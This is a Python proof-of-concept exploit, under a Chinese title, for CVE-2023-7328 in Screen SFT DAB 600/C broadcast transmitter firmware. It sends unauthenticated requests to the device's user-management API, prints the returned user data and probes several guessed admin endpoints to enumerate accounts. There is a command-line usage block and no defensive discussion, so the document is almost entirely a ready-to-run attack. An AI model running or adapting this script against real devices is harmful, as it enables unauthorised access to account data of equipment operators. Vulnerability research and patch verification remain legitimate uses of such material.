CVE-2023-7328 Screen SFT DAB 600/C 未授权信息泄露漏洞

import requests # CVE-2023-7328 PoC - Screen SFT DAB 600/C Unauthenticated Information Disclosure # Target: Screen SFT DAB 600/C firmware <= 1.9.3 # Vulnerability: Improper Access Control on User Management API def exploit_cve_2023_7328(target_ip, target_port=80): """ Exploit for CVE-2023-7328 This PoC demonstrates the unauthenticated access to user management API """ # Target URL for user management API endpoint url = f"http://{target_ip}:{target_port}/api/user/list" headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2023-7328-PoC)", "Accept": "application/json" } try: # Send unauthenticated request to user management API response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed user management API") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") print(f"[+] Retrieved User Data:") print(response.text) return response.json() else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return None def enumerate_users(target_ip, target_port=80): """ Enumerate user information including connection metadata """ # Alternative endpoints that may expose user data endpoints = [ "/api/users", "/api/user/list", "/api/admin/users", "/api/v1/users", "/user/list", "/admin/user/list" ] results = [] for endpoint in endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=10) if response.status_code == 200: results.append({"endpoint": endpoint, "data": response.text}) except: pass return results if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2023_7328_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2023_7328(target, port)